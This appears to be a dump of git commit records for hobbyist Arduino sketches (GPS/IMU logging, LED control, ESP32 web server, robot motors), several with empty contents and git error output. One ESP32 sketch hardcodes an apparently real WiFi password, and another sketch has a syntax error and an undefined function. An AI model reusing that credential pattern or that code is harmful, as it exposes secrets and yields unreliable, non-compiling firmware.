it\nSIGNAL(TIMER0_COMPA_vect)\n{\n char c = GPS.read();\n \/\/ if you want to debug, this is a good time to do it!\n #ifdef UDR0\n if (GPSECHO)\n if (c) UDR0 = c;\n \/\/ writing direct to UDR0 is much much faster than Serial.print\n \/\/ but only one character can be written at a time.\n #endif\n}\n\nvoid useInterrupt(boolean v)\n{\n \/\/ Set up the interrupt, intended to be run once on startup\n if (v) {\n \/\/ Timer0 is already used for millis() - we'll just interrupt somewhere\n \/\/ in the middle and call the \"Compare A\" function above\n OCR0A = 0xAF;\n TIMSK0 |= _BV(OCIE0A);\n usingInterrupt = true;\n } else {\n \/\/ do not call the interrupt function COMPA anymore\n TIMSK0 &= ~_BV(OCIE0A);\n usingInterrupt = false;\n }\n}\n\nuint32_t gpsTimer = millis();\nuint32_t imuTimer = gpsTimer;\nsensors_event_t event; \/\/Create a new local event instance\nuint8_t sys, gyro, accel, mag; \/\/Create local variables gyro, accel, mag\n\nvoid loop()\n{\n \/\/If new GPS data is ready, parse it!\n if (GPS.newNMEAreceived()){\n if (!GPS.parse(GPS.lastNMEA()))\n return;\n }\n\n \/\/ Display GPS info about every 2 seconds\n if (millis() - gpsTimer > 2000){\n gpsTimer = millis(); \/\/ reset the timer\n Serial.print(\"Time: \");\n Serial.print(GPS.hour, DEC); Serial.print(':');\n Serial.print(GPS.minute, DEC); Serial.print(':');\n Serial.print(GPS.seconds, DEC); Serial.print(\" on \");\n Serial.print(GPS.day, DEC); Serial.print('\/');\n Serial.print(GPS.month, DEC);Serial.print(\"\/20\");\n Serial.println(GPS.year, DEC);\n if(GPS.fix){\n \/\/ GPS data on one line\n Serial.print(\"[GPS]\");\n Serial.print(GPS.latitudeDegrees,7);\n Serial.print(',');\n Serial.print(GPS.longitudeDegrees,7);\n Serial.print(',');\n Serial.println((int)(GPS.altitude));\n \/\/ Serial.println((int)(GPS.altitude * 3.28084)); \/\/ converted m to feet\n }else{\n Serial.print(\"No GPS fix! GPS Quality: \");\n Serial.println(GPS.fixquality);\n }\n }\n \/\/ Display IMU info about 10 times per second\n if (millis() - imuTimer > 100){\n imuTimer = millis(); \/\/ reset the timer\n \/\/Read the current calibration values from the IMU\n bno.getCalibration(&sys, &gyro, &accel, &mag);\n \/\/Read the current positional values\n bno.getEvent(&event);\n\n \/\/ Using quaternions\n imu::Quaternion q = bno.getQuat();\n q.normalize();\n float temp = q.x(); q.x() = -q.y(); q.y() = temp;\n q.z() = -q.z();\n \/\/ Converted back to eulers\n imu::Vector<3> euler = q.toEuler();\n Serial.print(\"[IMU]\");\n Serial.print(-180\/M_PI * euler.x()); \/\/ heading, nose-right is positive, z-axis points up\n Serial.print(',');\n Serial.print(-180\/M_PI * euler.y()); \/\/ roll, rightwing-up is positive, y-axis points forward\n Serial.print(',');\n Serial.print(-180\/M_PI * euler.z()); \/\/ pitch, nose-down is positive, x-axis points right\n \/*\n Serial.print(event.orientation.x,2);\n Serial.print(\",\");\n Serial.print(event.orientation.y,2);\n Serial.print(\",\");\n Serial.print(event.orientation.z,2);\n *\/\n Serial.print(',');\n Serial.print(sys);\n Serial.print(',');\n Serial.print(gyro);\n Serial.print(',');\n Serial.print(accel);\n Serial.print(',');\n Serial.println(mag);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'shipStation\/lbcc_ship_stepper\/lbcc_ship_stepper.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"083ac3243c7914a9f33599d3cd71eaaba95a0405","subject":"Initial commit","message":"Initial commit\n","repos":"GeoffSpielman\/Hackathin_Examples","old_file":"PWM_For_LEDs\/PWM_For_LEDs.ino","new_file":"PWM_For_LEDs\/PWM_For_LEDs.ino","new_contents":"const int BTN = 12; \nconst int LED = 3;\n\nint ledBrightness = 0;\nint ledBrightnessIncrement = 3;\nconst int LED_INCREMENT_DELAY = 20;\nunsigned long lastIncrementTime;\n\nunsigned long prevChangeTime;\nint prevSteadyState = 0;\nint prevReading = 0;\nint currentReading = 0;\nunsigned long debounceTime = 50;\n\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(BTN, INPUT);\n pinMode(LED, OUTPUT);\n prevChangeTime = millis();\n lastIncrementTime = millis();\n}\n\nvoid loop() {\n currentReading = digitalRead(BTN); \n \/\/update the last time the button changed state after every flicker\n if (currentReading != prevReading){\n prevChangeTime = millis();\n }\n \/\/check if a steady state has been reached and it is different from the previous steady state\n if (((millis() - prevChangeTime) > debounceTime) && (currentReading != prevSteadyState)){\n \/\/update the button state for next time\n prevSteadyState = currentReading;\n\n \/\/regular code now that the state of the button is known\n \/\/if the button was pressed (not released), swap the sign on the increment\n if (currentReading){\n ledBrightnessIncrement = -1 * ledBrightnessIncrement;\n }\n }\n \/\/update the prevReading for the next iteration of the loop\n prevReading = currentReading;\n\n\n \/\/check if enough time has passed since the last time the brightness was modified\n if ((millis() - lastIncrementTime) > LED_INCREMENT_DELAY){\n \n ledBrightness += ledBrightnessIncrement;\n\n \/\/keep value between limits\n if (ledBrightness > 255){\n ledBrightness = 255;\n }\n else if (ledBrightness < 0){\n ledBrightness = 0;\n }\n\n \/\/write the new value and update the last increment time\n analogWrite(LED, ledBrightness);\n lastIncrementTime = millis();\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'PWM_For_LEDs\/PWM_For_LEDs.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e24dfb814d2112638fcb93627dc53901c0f188ff","subject":"Update PP_G3099b0302.ino","message":"Update PP_G3099b0302.ino","repos":"Lafudoci\/ProbeCube","old_file":"Arduino with cc3000wifi based\/G3_module\/PP_G3099b0302.ino","new_file":"Arduino with cc3000wifi based\/G3_module\/PP_G3099b0302.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'with' did not match any file(s) known to git\nerror: pathspec 'cc3000wifi' did not match any file(s) known to git\nerror: pathspec 'based\/G3_module\/PP_G3099b0302.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0abbc9740a2f040aadc443107960353db1552caf","subject":"Simple timer example","message":"Simple timer example\n","repos":"CedricFinance\/blynk-library,sstocker46\/blynk-library,radut\/blynk-library,CedricFinance\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,al1271\/blynk-library,johan--\/blynk-library,okhiroyuki\/blynk-library,csicar\/blynk-library,flashvnn\/blynk-library,blynkkk\/blynk-library,al1271\/blynk-library,okhiroyuki\/blynk-library,CedricFinance\/blynk-library,radut\/blynk-library,flashvnn\/blynk-library,sstocker46\/blynk-library,johan--\/blynk-library,flashvnn\/blynk-library,johan--\/blynk-library,radut\/blynk-library,blynkkk\/blynk-library,al1271\/blynk-library,al1271\/blynk-library,flashvnn\/blynk-library,radut\/blynk-library,csicar\/blynk-library,sstocker46\/blynk-library,johan--\/blynk-library,CedricFinance\/blynk-library,sstocker46\/blynk-library,ivankravets\/blynk-library,okhiroyuki\/blynk-library,ivankravets\/blynk-library,csicar\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,csicar\/blynk-library,ivankravets\/blynk-library,okhiroyuki\/blynk-library","old_file":"examples\/Handlers\/SimpleTimer\/SimpleTimer.ino","new_file":"examples\/Handlers\/SimpleTimer\/SimpleTimer.ino","new_contents":"#define BLYNK_PRINT Serial\n#include <SPI.h>\n#include <Ethernet.h>\n#include <EthernetClient.h>\n#include <BlynkSimpleEthernet.h>\n#include <SimpleTimer.h>\n\n\/\/ For this example you need to have SimpleTimer library:\n\/\/ https:\/\/github.com\/jfturcot\/SimpleTimer\n\n\/\/ Auth token you get from App\nchar auth[] = \"00000000000000000000000000000000\";\n\nSimpleTimer timer;\n\nvoid setup()\n{\n Serial.begin(115200);\n Blynk.begin(auth);\n pinMode(9, OUTPUT);\n timer.setInterval(500, repeatMe);\n}\n\n\/\/ a function to be executed periodically\nvoid repeatMe()\n{\n digitalWrite(9, !digitalRead(9));\n}\n\nvoid loop()\n{\n Blynk.run();\n timer.run();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Handlers\/SimpleTimer\/SimpleTimer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fda948ccd69295ca9c3a1c4ae8d27703d3830d3d","subject":"Kind of working gestures","message":"Kind of working gestures\n","repos":"Mastergalen\/RPlayr","old_file":"remote\/remote.ino","new_file":"remote\/remote.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Mastergalen\/RPlayr.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"93b3e5bc9d989c15ecb9febf719698cdd6f5d824","subject":"Final day 2","message":"Final day 2\n","repos":"jecrespo\/aprendiendoarduino-iot,jecrespo\/aprendiendoarduino-iot","old_file":"04-Intel IoT Analytics\/Hackathon_01\/Hackathon_01.ino","new_file":"04-Intel IoT Analytics\/Hackathon_01\/Hackathon_01.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec '04-Intel' did not match any file(s) known to git\nerror: pathspec 'IoT' did not match any file(s) known to git\nerror: pathspec 'Analytics\/Hackathon_01\/Hackathon_01.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9e8a532da6193c19d227485f0c1c4c181a266f1b","subject":"Arduino hello world","message":"Arduino hello world\n","repos":"meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand","old_file":"arduino\/HelloWorld\/HelloWorld.ino","new_file":"arduino\/HelloWorld\/HelloWorld.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/meatballhat\/box-o-sand.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"d80406f7907234bb3acaa00097417317938dcf42","subject":"intiial discrimitaion of corners","message":"intiial discrimitaion of corners\n","repos":"manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain","old_file":"src\/rfduino\/CannybotMazeSolver\/CannybotMazeSolver.ino","new_file":"src\/rfduino\/CannybotMazeSolver\/CannybotMazeSolver.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/manashmndl\/bluebrain.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"f9643d3004928603d431360242875c313b4b171d","subject":"Add example for sending custom data packets","message":"Add example for sending custom data packets\n","repos":"OpenBCI\/OpenBCI_32bit_Libraries,OpenBCI\/OpenBCI_32bit_Libraries","old_file":"examples\/BoardWithCustomData\/BoardWithCustomData.ino","new_file":"examples\/BoardWithCustomData\/BoardWithCustomData.ino","new_contents":"#include <DSPI.h>\n#include <OpenBCI_32bit_Library.h>\n#include <OpenBCI_32Bit_Library_Definitions.h>\n\nunsigned long timer = 0;\nbyte LEDState = 0;\n\nvoid setup() {\n \/\/ Bring up the OpenBCI Board\n board.begin();\n\n timer = millis();\n\n LEDState = 1;\n digitalWrite(OPENBCI_PIN_LED,HIGH);\n\n}\n\nvoid loop() {\n\n \/\/ Downsample\n if ((millis() - timer) > 20) {\n \/\/ Save new time\n timer = millis();\n sendLEDStatus();\n }\n\n \/\/ Check the serial port for new data\n if (board.hasDataSerial0()) {\n \/\/ Read one char and process it\n char c = board.getCharSerial0();\n\n if (c == '0') {\n \/\/ Make the LED turn OFF when a '0' is sent from the PC\n digitalWrite(OPENBCI_PIN_LED,LOW);\n LEDState = 0;\n } else if (c == '1') {\n \/\/ Make the LED turn ON when a '1' is sent from the PC\n digitalWrite(OPENBCI_PIN_LED,HIGH);\n LEDState = 1;\n }\n }\n}\n\nvoid sendLEDStatus() {\n \/\/ Must have header byte\n Serial0.write('A'); \/\/ 0x41 1 byte\n \/\/ Write the LED state\n Serial0.write(LEDState); \/\/ 1 byte\n \/\/ Fill the rest with fake data\n for (int i = 0; i < 30; i++) {\n Serial0.write(0x00);\n }\n \/\/ Send a stop byte with an `B` or `1011` in the last nibble to indicate a\n \/\/ different packet type.\n Serial0.write(0xCB); \/\/ 1 byte\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/BoardWithCustomData\/BoardWithCustomData.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"451d662cf807a2d42537a89e352183e4beb5f5a9","subject":"Added circular buffer example","message":"Added circular buffer example\n","repos":"marshalltaylorSFE\/uCModules","old_file":"examples\/CircularBufferTest\/CircularBufferTest.ino","new_file":"examples\/CircularBufferTest\/CircularBufferTest.ino","new_contents":"#include \"CircularBuffer.h\"\n\nCircularBuffer<int> myBuffer(10);\nint fakeo = 0;\n\nint count = 0;\n\nvoid setup()\n{\n\tSerial.begin(115200);\n\tSerial.println(\"Program Started\");\n}\n\nvoid loop()\n{\n\tSerial.print(\"Adding number: \");\n\tSerial.println(count);\n\tmyBuffer.write(count);\n\t\n\tfakeo = 0;\n\tSerial.println(\"Printing complete list:\");\n\tfor(int i = 0; i < 10; i++)\n\t{\n\t\tSerial.print(\"i = \");\n\t\tSerial.print(i);\n\t\tSerial.print(\", value = \");\n\t\tSerial.println(myBuffer.read(i));\n\t}\n\t\n\tcount++;\n\tSerial.println();\n\tdelay(2500);\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/CircularBufferTest\/CircularBufferTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ff4bb702a0033fe1c7ddf8a76c4ad8c02a86f7ef","subject":"Added ESP32 Wifi Server as proof of concept test frame for browser UI","message":"Added ESP32 Wifi Server as proof of concept test frame for browser UI\n","repos":"bencoman\/siteBKNS,bencoman\/siteBKNS,bencoman\/siteBKNS,bencoman\/siteBKNS","old_file":"ESP32\/BrowserTestFrameESP32WiFiServer\/BrowserTestFrameESP32WiFiServer.ino","new_file":"ESP32\/BrowserTestFrameESP32WiFiServer\/BrowserTestFrameESP32WiFiServer.ino","new_contents":"\/*\n Digital Tribes team siteBKNS \n WiFi Test Frame for browser client\n\n A simple web server that lets you blink an LED via the web.\n This sketch will print the IP address of your WiFi Shield (once connected)\n to the Serial monitor. From there, you can open that address in a web browser\n to turn on and off the LED on pin 5.\n\n If the IP address of your shield is yourAddress:\n http:\/\/yourAddress\/H turns the LED on\n http:\/\/yourAddress\/L turns it off\n\n This example is written for a network using WPA encryption. For\n WEP or WPA, change the Wifi.begin() call accordingly.\n\n Circuit:\n * WiFi shield attached\n * LED attached to pin 5\n\n created for arduino 25 Nov 2012\n by Tom Igoe\n\nported for sparkfun esp32 \n31.01.2017 by Jan Hendrik Berlin\n \n *\/\n\n#include <WiFi.h>\n\/\/#include \"WebSocket_Task.h\"\n\nconst char* ssid = \"BTC-24G\";\nconst char* password = \"bc02071971\";\n\nWiFiServer server(80);\n\nvoid setup()\n{\n Serial.begin(115200);\n pinMode(5, OUTPUT); \/\/ set the LED pin mode\n\n delay(10);\n\n \/\/ We start by connecting to a WiFi network\n\n Serial.println();\n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(ssid);\n\n WiFi.begin(ssid, password);\n\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n\n Serial.println(\"\");\n Serial.println(\"WiFi connected.\");\n Serial.println(\"IP address: \");\n Serial.println(WiFi.localIP());\n \n server.begin();\n\n}\n\nint value = 0;\nint counter = 0;\n\nvoid loop(){\n WiFiClient client = server.available(); \/\/ listen for incoming clients\n\n if (client) { \/\/ if you get a client,\n Serial.println(\"New Client.\"); \/\/ print a message out the serial port\n String currentLine = \"\"; \/\/ make a String to hold incoming data from the client\n while (client.connected()) { \/\/ loop while the client's connected\n if (client.available()) { \/\/ if there's bytes to read from the client,\n char c = client.read(); \/\/ read a byte, then\n Serial.write(c); \/\/ print it out the serial monitor\n if (c == '\\n') { \/\/ if the byte is a newline character\n\n \/\/ if the current line is blank, you got two newline characters in a row.\n \/\/ that's the end of the client HTTP request, so send a response:\n if (currentLine.length() == 0) {\n \/\/ HTTP headers always start with a response code (e.g. HTTP\/1.1 200 OK)\n \/\/ and a content-type so the client knows what's coming, then a blank line:\n client.println(\"HTTP\/1.1 200 OK\");\n client.println(\"Content-type:text\/html\");\n client.println(\"Access-Control-Allow-Origin: *\");\n client.println(\"siteBKNS:format,id,group,zonetype,zoneDist,lat,lon,time,speed\"); \n client.println();\n\n \/\/client.println(\"HTTP\/1.1 101 Switching Protocols\");\n \/\/client.println(\"Upgrade: websocket\");\n \/\/client.println(\"Connection: Upgrade\");\n \/\/client.println(\"Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=\");\n\n \/\/ the content of the HTTP response follows the header:\n \/\/client.print(\"Click <a href=\\\"\/H\\\">here<\/a> to turn the LED on pin 5 on.<br>\");\n counter = counter + 1;\n client.print(\"siteBKNS: counter=\");\n client.println(counter);\n\n \/\/ The HTTP response ends with another blank line:\n client.println();\n \/\/ break out of the while loop:\n break;\n } else { \/\/ if you got a newline, then clear currentLine:\n currentLine = \"\";\n }\n } else if (c != '\\r') { \/\/ if you got anything else but a carriage return character,\n currentLine += c; \/\/ add it to the end of the currentLine\n }\n\n \/\/ Check to see if the client request was \"GET \/H\" or \"GET \/L\":\n if (currentLine.endsWith(\"GET \/H\")) {\n \n digitalWrite(5, HIGH); \/\/ GET \/H turns the LED on\n }\n if (currentLine.endsWith(\"GET \/L\")) {\n digitalWrite(5, LOW); \/\/ GET \/L turns the LED off\n }\n }\n }\n \/\/ close the connection:\n client.stop();\n Serial.println(\"Client Disconnected.\");\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ESP32\/BrowserTestFrameESP32WiFiServer\/BrowserTestFrameESP32WiFiServer.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"fba597440b80d3608f7ac61ae39eaebe5e7c3926","subject":"SmartFinder Arduino Code Added","message":"SmartFinder Arduino Code Added\n\nArduino code which transmits volume of the SmartFinder signal over\nserial.\n","repos":"OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015","old_file":"electrical\/Daughterboards\/SmartFinder\/SmartFinderNano\/SmartFinderNano.ino","new_file":"electrical\/Daughterboards\/SmartFinder\/SmartFinderNano\/SmartFinderNano.ino","new_contents":"int audioPin = 0; \/\/ Analog pin to read from\nint audioTemp; \/\/ Temp variable for comparison\nint maxVol; \/\/ Highest analogRead value\nint minVol; \/\/ Lowest analogRead value\nbyte finalVol; \/\/ Calculated volume to be communicated\n\nvoid setup() {\n Serial.begin(9600);\n}\n\nvoid loop() {\n maxVol = 0;\n minVol = 1024;\n \/\/ Loop ten times and populate audioArray with analogRead data\n for (int i = 0; i < 10; i++) {\n \/\/ analogRead takes ~100 us\n \/\/ Which means this loop runs a little slower than 1 kHz\n \/\/ This will encompass approximately one audio cycle\n audioTemp = analogRead(audioPin);\n if (audioTemp > maxVol)\n maxVol = audioTemp;\n if (audioTemp < minVol)\n minVol = audioTemp;\n }\n \/\/ Calculate volume in byte formate for serial transmission\n finalVol = (byte)((maxVol - minVol)\/4);\n \/\/ Send the volume info downstream for higher level processing\n Serial.write(listToVolume(finalVol);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'electrical\/Daughterboards\/SmartFinder\/SmartFinderNano\/SmartFinderNano.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cbf8b7f8f63a465e1d75ed5e4e42dfd9b2ce3d43","subject":"Update pt_remote controlled car2.ino","message":"Update pt_remote controlled car2.ino","repos":"billhhh\/bill_ProtoThreads_arduino,billhhh\/bill_ProtoThreads_arduino,billhhh\/bill_ProtoThreads_arduino","old_file":"pt_remote controlled car\/pt_remote controlled car2.ino","new_file":"pt_remote controlled car\/pt_remote controlled car2.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'pt_remote' did not match any file(s) known to git\nerror: pathspec 'controlled' did not match any file(s) known to git\nerror: pathspec 'car\/pt_remote' did not match any file(s) known to git\nerror: pathspec 'controlled' did not match any file(s) known to git\nerror: pathspec 'car2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5fe30079321f3c49c242228da42a9bbaac35992d","subject":"Add level source","message":"Add level source\n","repos":"ITatJCU\/iot-dataflow-graph-server,ITatJCU\/iot-dataflow-graph-server,adamrehn\/iot-dataflow-graph-server,adamrehn\/iot-dataflow-graph-server,adamrehn\/iot-dataflow-graph-server,ITatJCU\/iot-dataflow-graph-server","old_file":"real-devices\/Arduino\/ESP8266\/sources\/level-source\/level-source.ino","new_file":"real-devices\/Arduino\/ESP8266\/sources\/level-source\/level-source.ino","new_contents":"\/*\n IoT Dataflow Graph Server\n Copyright (c) 2015, Adam Rehn, Jason Holdsworth\n 2018, Wilson Bow\n\n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n\n The above copyright notice and this permission notice shall be included in all\n copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n SOFTWARE.\n*\/\n\n#include <ESP8266WiFi.h>\n#include <WiFiUDP.h>\n#include <ESP8266MulticastUDP.h>\n\n\/\/The identifier for this node\nconst String& NODE_IDENTIFIER = \"level-source\";\n\n\/\/The interval (in milliseconds) at which input is read\n#define READ_INTERVAL 100\n\n\/\/ Setup the ESP8266 Multicast UDP object as a source\nESP8266MulticastUDP multicast(\"iot-dataflow\", \"it-at-jcu\",\n IPAddress(224, 0, 0, 114), 7070);\n\n\n#define ERROR_PIN 15\n#define LEVEL_PIN A0\n\nvoid setup()\n{\n \/\/Initialise serial communications\n Serial.begin(115200);\n\n pinMode(LEVEL_PIN, INPUT);\n\n multicast.begin();\n Serial.print(NODE_IDENTIFIER);\n if (multicast.isConnected()) {\n Serial.println(\" connected to Wifi network\");\n } else {\n Serial.println(\" error: failed to connect to WiFi network!\");\n pinMode(ERROR_PIN, OUTPUT);\n digitalWrite(ERROR_PIN, HIGH);\n }\n}\n\nint readSource() {\n int rawValue = analogRead(LEVEL_PIN);\n return rawValue;\n}\n\nvoid loop()\n{\n if (multicast.isConnected())\n {\n String message = String(NODE_IDENTIFIER) + \"\\n\" + readSource();\n multicast.write(message);\n delay(READ_INTERVAL);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'real-devices\/Arduino\/ESP8266\/sources\/level-source\/level-source.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"758a323235fe6ffdd9bf5fd4e18c24dbf8d1a897","subject":"Update teste_envio_ir.ino","message":"Update teste_envio_ir.ino","repos":"ciandt-dev\/garage-kelvin-celsius,ciandt-dev\/garage-kelvin-celsius,ciandt-dev\/garage-kelvin-celsius,ciandt-dev\/garage-kelvin-celsius,ciandt-dev\/garage-kelvin-celsius","old_file":"examples\/teste_envio_ir\/teste_envio_ir.ino","new_file":"examples\/teste_envio_ir\/teste_envio_ir.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ciandt-dev\/garage-kelvin-celsius.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"e5bc00076f9194a59ef8eb84f476338dad2e8d2b","subject":"Create mega_06062017_motores_mas_servos_correcto_limpio_de_variables.ino","message":"Create mega_06062017_motores_mas_servos_correcto_limpio_de_variables.ino","repos":"alienneo666\/Rob_Bat","old_file":"arduino\/mega_06062017_motores_mas_servos_correcto_limpio_de_variables.ino","new_file":"arduino\/mega_06062017_motores_mas_servos_correcto_limpio_de_variables.ino","new_contents":"\/*\n ********* AUTOR: ALIENNEO *********\n ********* DATE: 07\/05\/2013 ********\n *********** VERSION: 1.1 **********\n ARDUINO MEGA, control de motores correcto. Falta modificar\n el PID para mejorarlo *********\n TIMER4 Y TIMER5 PARA MOTORES Y TIMER3 PARA SERVO(MODIFICADO EN LA LIBRERIA SERVO.H)\n FUNCIONA CORRECTO FALTA CONTROL DE RAM\n*\/\n#include <Wire.h>\n#include <Servo.h> \/\/libreria para los servos\n\n\n\n#define DEBUG 1 \/\/#0 nada #1 #1\n#define MPU 0x68\n#define A_R 16384.0\n#define G_R 131.0\n#define RAD_TO_DEG 57.295779\n#define BAUDIOS 115200\n#define CLR(x,y) (x&=(~(1<<y)))\n#define SET(x,y) (x|=(1<<y))\n#define ZERO_SPEED 65536 \/\/ 65535 se trata de la frecuencia m\u00e1xima en 8bits\n#define MAXIMA_ACELERACION 580 \/\/ MAX RECOMMENDED VALUE: 8) (default:7)\n#define MAX_ANG -5.8\n#define VEL_MAX 500\n\n\nbool Robot_tumbado = false; \/\/ FLAG NO UTILICADO\nint16_t AcX, AcY, AcZ, GyX, GyY, GyZ;\nfloat Acc[2];\nfloat Gy[2];\nfloat Angle[2];\nlong tiempo_valor;\nint16_t velocidad_Motor_A;\nint16_t velocidad_Motor_B;\nint8_t dir_Motor_A;\nint8_t dir_Motor_B; \/\/ Actual direction of steppers motors\n\nfloat Kp = 5;\nfloat Ki = 500;\nfloat Kd = 0.5;\nfloat Kps = 0.01;\nfloat Kis = 100;\nfloat Kds = 0.01;\n\nfloat integralSum, anguloPID_errorSum;\nfloat errorVelociadAnterior;\nfloat vel1 , vel2;\nfloat velocidadMedia;\nfloat velocidad;\nfloat giro;\nint velocidadDeseada;\nfloat tiempoActual, tiempo;\nfloat anguloActual, anguloObjetivo;\nfloat angObj;\nfloat H = 0.5;\nint V = 0;\nfloat errorAnguloAnterior;\nint anguloSH, anguloSV, speedServo;\nchar datosEntrantes;\nServo servoVertical;\nServo servoHorizontal;\nString comandoRecibido;\nString instruccion;\n\n\/*********** SETUP ************* *\/\nvoid setup() {\n pinMode(23, OUTPUT); \/\/ DIR MOTOR_A PORTA,1\n pinMode(22, OUTPUT); \/\/ STEP MOTOR_A PORTA,0\n pinMode(25, OUTPUT); \/\/ DIR MOTOR_B PORTA,3\n pinMode(24, OUTPUT); \/\/ STEP MOTOR_B PORTA,2\n pinMode(26, OUTPUT); \/\/ ENABLE MOTORS PORTA,4\n pinMode(13, OUTPUT); \/\/LED\n\n servoVertical.attach(2); \/\/SERVO VERTICAL\n servoHorizontal.attach(3);\/\/SERVO HORIZONTAL\n digitalWrite(9, HIGH); \/\/ HIGH Deshabilitar motores\n\n Wire.begin();\n Wire.beginTransmission(MPU);\n Wire.write(0x6B);\n Wire.write(0);\n Wire.endTransmission(true);\n\n Serial.begin(BAUDIOS); \/\/ Serial salida to console\n\n Serial.println(\"Rob-Bat by Alienneo v.1.1\");\n Serial.println(\"Iniciando...\");\n\n delay(500);\n Serial.println(\"Gyro calibracion!! No mover en 10 segundos... \");\n delay(500);\n\n Serial.println(\"Iniciando motores...\");\n servosFrente();\n\n \/\/******************************************************\n cli();\n TCCR4A = 0; \/\/ Timer4 CTC mode 4\n TCCR4B = (1 << WGM42) | (1 << CS41); \/\/ Prescaler=256\n OCR4A = ZERO_SPEED; \/\/ Motor parado\n TCNT4 = 0;\n\n TCCR5A = 0; \/\/ Timer5 CTC mode 4\n TCCR5B = (1 << WGM52) | (1 << CS51); \/\/ Prescaler=256\n OCR5A = ZERO_SPEED; \/\/ Motor parado\n TCNT3 = 0;\n\n\n TIMSK4 |= (1 << OCIE4A);\n TIMSK5 |= (1 << OCIE5A);\n sei();\n\n} \/* ************ FINAL SETUP *************** *\/\n\n\n\/* ************ LOOP ***************** *\/\nvoid loop() {\n\n digitalWrite(13, HIGH); \/\/ENCENDER LED\n\n if (Serial.available()) {\n\n datosEntrantes = Serial.read();\n comandoRecibido += datosEntrantes;\n if (comandoRecibido.length() == 9) {\n instruccion = comandoRecibido.substring(0, 2);\n anguloSH = stringToNumber(comandoRecibido.substring(2, 5));\n anguloSV = stringToNumber(comandoRecibido.substring(5, 8));\n speedServo = 